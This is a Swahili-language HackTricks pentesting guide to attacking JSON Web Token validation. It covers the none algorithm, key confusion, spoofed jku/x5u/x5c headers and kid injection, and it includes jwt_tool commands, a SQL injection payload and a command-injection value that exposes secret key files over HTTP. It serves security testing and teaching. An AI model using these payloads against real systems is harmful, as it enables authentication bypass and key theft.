hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md
2024-02-11 02:13:58 +00:00

18 KiB
Raw Blame History

JWT Udhaifu (Json Web Tokens)

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Mshauri wa tuzo za mdudu: Jisajili kwenye Intigriti, jukwaa la tuzo za mdudu la malipo la juu lililoanzishwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye https://go.intigriti.com/hacktricks leo, na anza kupata tuzo hadi $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Sehemu ya chapisho hili inategemea chapisho zuri: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Mwandishi wa zana nzuri ya pentest JWTs https://github.com/ticarpi/jwt_tool

Mafanikio ya Haraka

Chalaza jwt_tool kwa mode All Tests! na subiri mistari ya kijani

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Ikiwa una bahati, zana itapata kesi ambapo programu ya wavuti inakagua JWT kwa njia isiyo sahihi:

Kisha, unaweza kutafuta ombi hilo kwenye proksi yako au kudondosha JWT iliyotumiwa kwa ombi hilo kwa kutumia zana ya jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Kuhariri data bila kubadilisha chochote

Unaweza kuhariri data bila kubadilisha saini na kuangalia ikiwa seva inathibitisha saini hiyo. Jaribu kubadilisha jina lako la mtumiaji kuwa "admin" kwa mfano.

Je, ishara ya token inathibitishwa?

Ili kuthibitisha ikiwa saini ya JWT inathibitishwa:

  • Ujumbe wa kosa unapendekeza kuwa kuna uthibitisho unaendelea; maelezo nyeti katika makosa marefu yanapaswa kuchunguzwa.
  • Mabadiliko katika ukurasa uliorudishwa pia yanathibitisha uthibitisho.
  • Hakuna mabadiliko yanapendekeza hakuna uthibitisho; hii ndio wakati wa kujaribu kuhariri madai ya malipo.

Asili

Ni muhimu kujua ikiwa token imezalishwa upande wa seva au upande wa mteja kwa kuchunguza historia ya ombi la proksi.

  • Ishara zilizoonekana kwanza kutoka upande wa mteja zinaonyesha kuwa ufunguo huenda umefichuliwa kwa nambari ya upande wa mteja, hivyo inahitaji uchunguzi zaidi.
  • Ishara zinazoanzia upande wa seva zinaonyesha mchakato salama.

Muda

Angalia ikiwa token inadumu zaidi ya masaa 24... labda haifiki mwisho. Ikiwa kuna uga wa "exp", angalia ikiwa seva inashughulikia kwa usahihi.

Kuvunja siri ya HMAC kwa nguvu

Angalia ukurasa huu.

Badilisha algorithm kuwa None (CVE-2015-9235)

Weka algorithm inayotumiwa kuwa "None" na ondoa sehemu ya saini.

Tumia kifaa cha Burp kinachoitwa "JSON Web Token" kujaribu udhaifu huu na kubadilisha thamani tofauti ndani ya JWT (tuma ombi kwa Repeater na katika kichupo cha "JSON Web Token" unaweza kuhariri thamani za token. Unaweza pia kuchagua kuweka thamani ya uga wa "Alg" kuwa "None").

Badilisha algorithm RS256 (asimetriki) kuwa HS256 (simetriki) (CVE-2016-5431/CVE-2016-10555)

Algorithm HS256 hutumia ufunguo wa siri kusaini na kuthibitisha kila ujumbe.
Algorithm RS256 hutumia ufunguo wa faragha kusaini ujumbe na hutumia ufunguo wa umma kwa uthibitisho.

Ikiwa unabadilisha algorithm kutoka RS256 kuwa HS256, nambari ya nyuma itatumia ufunguo wa umma kama ufunguo wa siri na kisha itatumia algorithm ya HS256 kuthibitisha saini.

Kwa hiyo, kwa kutumia ufunguo wa umma na kubadilisha RS256 kuwa HS256 tunaweza kuunda saini halali. Unaweza kupata cheti cha seva ya wavuti kwa kutekeleza hii:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Ufunguo wa umma mpya ndani ya kichwa

Mshambuliaji anaingiza ufunguo mpya katika kichwa cha ishara na seva hutumia ufunguo huu mpya kuthibitisha saini (CVE-2018-0114).

Hii inaweza kufanywa na kifaa cha "JSON Web Tokens" Burp.
(Tuma ombi kwa Repeater, ndani ya kichupo cha JSON Web Token chagua "CVE-2018-0114" na tuma ombi).

JWKS Uwongo

Maagizo yanatoa maelezo ya njia ya kutathmini usalama wa alama za JWT, haswa zile zinazotumia madai ya kichwa cha "jku". Madai haya yanapaswa kuunganisha kwenye faili ya JWKS (JSON Web Key Set) ambayo ina ufunguo wa umma unaohitajika kwa uthibitisho wa ishara ya ishara.

  • Kutathmini Alama na Kichwa cha "jku":

  • Thibitisha URL ya madai ya "jku" ili kuhakikisha inaelekeza kwenye faili sahihi ya JWKS.

  • Badilisha thamani ya "jku" ya ishara ili iongoze kwenye huduma ya wavuti iliyodhibitiwa, kuruhusu uchunguzi wa trafiki.

  • Kufuatilia Mwingiliano wa HTTP:

  • Kuchunguza maombi ya HTTP kwa URL iliyotolewa inaonyesha jaribio la seva kupata ufunguo kutoka kwenye kiunga ulichotoa.

  • Wakati unatumia jwt_tool kwa mchakato huu, ni muhimu kusasisha faili ya jwtconf.ini na eneo lako la kibinafsi la JWKS ili kurahisisha jaribio.

  • Amri ya jwt_tool:

  • Tekeleza amri ifuatayo kuiga hali na jwt_tool:

python3 jwt_tool.py JWT_HAPA -X s

Muhtasari wa Matatizo ya Kid

Madai ya hiari ya kichwa yanayojulikana kama kid hutumiwa kutambua ufunguo maalum, ambao unakuwa muhimu hasa katika mazingira ambapo kuna ufunguo zaidi kwa uthibitisho wa saini ya ishara. Madai haya husaidia katika kuchagua ufunguo sahihi wa kuthibitisha saini ya ishara ya ishara.

Kufichua Ufunguo kupitia "kid"

Wakati madai ya kid yapo katika kichwa, inashauriwa kutafuta faili inayolingana au mabadiliko yake kwenye saraka ya wavuti. Kwa mfano, ikiwa kid inasemwa kuwa "kid":"key/12345", faili /key/12345 na /key/12345.pem inapaswa kutafutwa kwenye mzizi wa wavuti.

Kupitisha Njia na "kid"

Madai ya kid pia yanaweza kutumiwa kwa kusafiri kupitia mfumo wa faili, ikiruhusu uchaguzi wa faili ya kiholela. Inawezekana kujaribu uunganisho au kutekeleza mashambulio ya Uongozi wa Ombi la Upande wa Seva (SSRF) kwa kubadilisha thamani ya kid ili kulenga faili au huduma maalum. Kuhariri JWT ili kubadilisha thamani ya kid wakati bado unahifadhi saini ya asili inaweza kufanikishwa kwa kutumia bendera ya -T katika jwt_tool, kama inavyoonyeshwa hapa chini:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Kwa kulenga faili zenye maudhui yanayoweza kutabirika, inawezekana kuunda JWT halali. Kwa mfano, faili ya /proc/sys/kernel/randomize_va_space katika mifumo ya Linux, inayojulikana kuwa na thamani ya 2, inaweza kutumika katika parameter ya kid na 2 kama nenosiri la kisymmetri kwa ajili ya kuzalisha JWT.

SQL Injection kupitia "kid"

Ikiwa maudhui ya madai ya kid yanatumika kuweka neno la siri kutoka kwenye database, SQL injection inaweza kurahisishwa kwa kubadilisha mzigo wa kid. Mfano wa mzigo unaotumia SQL injection kubadilisha mchakato wa kusaini JWT ni:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Mabadiliko haya yanalazimisha matumizi ya funguo za siri zinazojulikana, ATTACKER, kwa ajili ya kusaini JWT.

OS Injection kupitia "kid"

Hali ambapo parameter ya kid inabainisha njia ya faili inayotumiwa ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha udhaifu wa Remote Code Execution (RCE). Kwa kuingiza amri ndani ya parameter ya kid, inawezekana kufichua funguo za siri. Mfano wa mzigo wa kufikia RCE na kufichua funguo ni:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u na jku

jku

jku inasimama kwa JWK Set URL.
Ikiwa token inatumia madai ya "jku" kwenye Header, angalia URL iliyotolewa. Hii inapaswa kuonyesha URL inayohifadhi faili ya JWKS ambayo inashikilia Funguo ya Umma kwa ajili ya kuthibitisha token. Badilisha token ili kuonyesha thamani ya jku kwa huduma ya wavuti ambayo unaweza kufuatilia trafiki yake.

Kwanza unahitaji kuunda cheti kipya na funguo mpya za siri na za umma

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Kisha unaweza kutumia kwa mfano jwt.io kuunda JWT mpya na funguo za umma na binafsi zilizoundwa na kuashiria parameter jku kwa cheti kilichoundwa. Ili kuunda cheti sahihi cha jku, unaweza kupakua kile cha awali na kubadilisha parameta zinazohitajika.

Unaweza kupata parameta "e" na "n" kutoka kwa cheti la umma kwa kutumia:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. URL inayoelekeza kwenye seti ya vyeti vya umma vya X.509 (muundo wa vyeti wa kiwango) vilivyohifadhiwa kwa mfumo wa PEM. Cheti cha kwanza katika seti lazima kiwe cheti kilichotumika kusaini JWT hii. Vyeti vya baadaye kila kimoja kinasaini cheti kilichopita, hivyo kukamilisha mnyororo wa vyeti. X.509 imedefiniwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamisha vyeti.

Jaribu kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako na angalia ikiwa ombi lolote linapokelewa. Katika kesi hiyo, unaweza kuhariri JWT.

Ili kuunda cheti kipya kwa kutumia cheti kinachodhibitiwa na wewe, unahitaji kuunda cheti na kuchukua funguo za umma na za kibinafsi:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Kisha unaweza kutumia kwa mfano jwt.io kuunda JWT mpya na funguo za umma na binafsi zilizoundwa na kuashiria parameter x5u kwa cheti .crt kilichoundwa.

Unaweza pia kutumia udhaifu huu kwa SSRFs.

x5c

Parameter hii inaweza kuwa na cheti katika base64:

Ikiwa mshambuliaji anaunda cheti cha kujisaini na kuunda kitufe bandia kwa kutumia kitufe cha binafsi kinacholingana na kubadilisha thamani ya parameter "x5c" na cheti kilichoundwa hivi karibuni na kurekebisha parameta nyingine, yaani n, e na x5t, basi kimsingi cheti bandia kitakubaliwa na seva.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Funguo ya Umma Iliyowekwa (CVE-2018-0114)

Ikiwa JWT imeingiza funguo ya umma kama katika senario ifuatayo:

Kwa kutumia skripti ya nodejs ifuatayo, niwezekanavyo kuzalisha funguo ya umma kutoka kwa data hiyo:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Niwezekana kuunda funguo mpya za faragha / za umma, kuziweka funguo za umma mpya ndani ya ishara na kuzitumia kuunda saini mpya:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Unaweza kupata "n" na "e" kwa kutumia script ya nodejs ifuatayo:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Mwishowe, kwa kutumia funguo ya umma na ya kibinafsi na thamani mpya za "n" na "e" unaweza kutumia jwt.io kuunda JWT mpya halali na habari yoyote.

JTI (JWT ID)

Madai ya JTI (JWT ID) hutoa kitambulisho kipekee kwa JWT Token. Inaweza kutumika kuzuia tokeni isichezwe tena.
Hata hivyo, fikiria hali ambapo urefu wa kitambulisho ni 4 (0001-9999). Ombi 0001 na 10001 yatakuwa na kitambulisho kimoja. Kwa hivyo, ikiwa seva ya nyuma inaongeza kitambulisho kwa kila ombi, unaweza kutumia hii kwa kupeleka tena ombi (ukihitaji kutuma ombi 10000 kati ya kila ombi la kupeleka tena linalofanikiwa).

Madai yaliyosajiliwa ya JWT

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

Mashambulizi mengine

Mashambulizi ya Kusambaza Huduma Kuvuka

Imeonekana kuwa baadhi ya programu za wavuti hutegemea huduma ya JWT iliyoaminika kwa kizazi na usimamizi wa tokeni zao. Kuna rekodi ambapo tokeni, iliyoundwa kwa mteja mmoja na huduma ya JWT, ilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upyaishaji wa JWT kupitia huduma ya mtu wa tatu unazingatiwa, inapaswa kuchunguzwa uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo hiyo kwa kutumia jina la mtumiaji/barua pepe ile ile. Kisha jaribu kupeleka tena tokeni iliyopatikana katika ombi kwa lengo ili kuona ikiwa inakubaliwa.

  • Shida kubwa inaweza kuonyeshwa na kukubalika kwa tokeni yako, ikiruhusu udanganyifu wa akaunti ya mtumiaji yeyote. Hata hivyo, inapaswa kuzingatiwa kuwa inaweza kuhitajika idhini kwa ajili ya majaribio zaidi ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia katika eneo la kisheria lisilo wazi.

Uchunguzi wa Muda wa Tokeni

Uchunguzi wa muda wa tokeni unafanywa kwa kutumia madai ya "exp" ya Payload. Kwa kuwa JWT mara nyingi hutumiwa bila habari ya kikao, utunzaji wa makini unahitajika. Katika hali nyingi, kukamata na kupeleka tena JWT ya mtumiaji mwingine kunaweza kuwezesha udanganyifu wa mtumiaji huyo. RFC ya JWT inapendekeza kupunguza mashambulizi ya kupeleka tena JWT kwa kutumia madai ya "exp" kuweka muda wa kumalizika kwa tokeni. Zaidi ya hayo, utekelezaji wa ukaguzi unaofaa na maombi ili kuhakikisha usindikaji wa thamani hii na kukataa tokeni zilizopita muda ni muhimu. Ikiwa tokeni ina madai ya "exp" na mipaka ya wakati wa majaribio inaruhusu, inashauriwa kuhifadhi tokeni na kupeleka tena baada ya muda wa kumalizika. Yaliyomo ya tokeni, ikiwa ni pamoja na uchambuzi wa muda na ukaguzi wa kumalizika (muda katika UTC), yanaweza kusomwa kwa kutumia bendera ya -R ya jwt_tool.

  • Hatari ya usalama inaweza kuwepo ikiwa programu bado inathibitisha tokeni, kwani inaweza kuashiria kuwa tokeni haiwezi kumalizika.

Zana

{% embed url="https://github.com/ticarpi/jwt_tool" %}


Mshauri wa tuzo ya mdudu: jiandikishe kwa Intigriti, jukwaa la tuzo la mdudu la kulipwa lililoanzishwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye https://go.intigriti.com/hacktricks leo, na anza kupata tuzo hadi $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: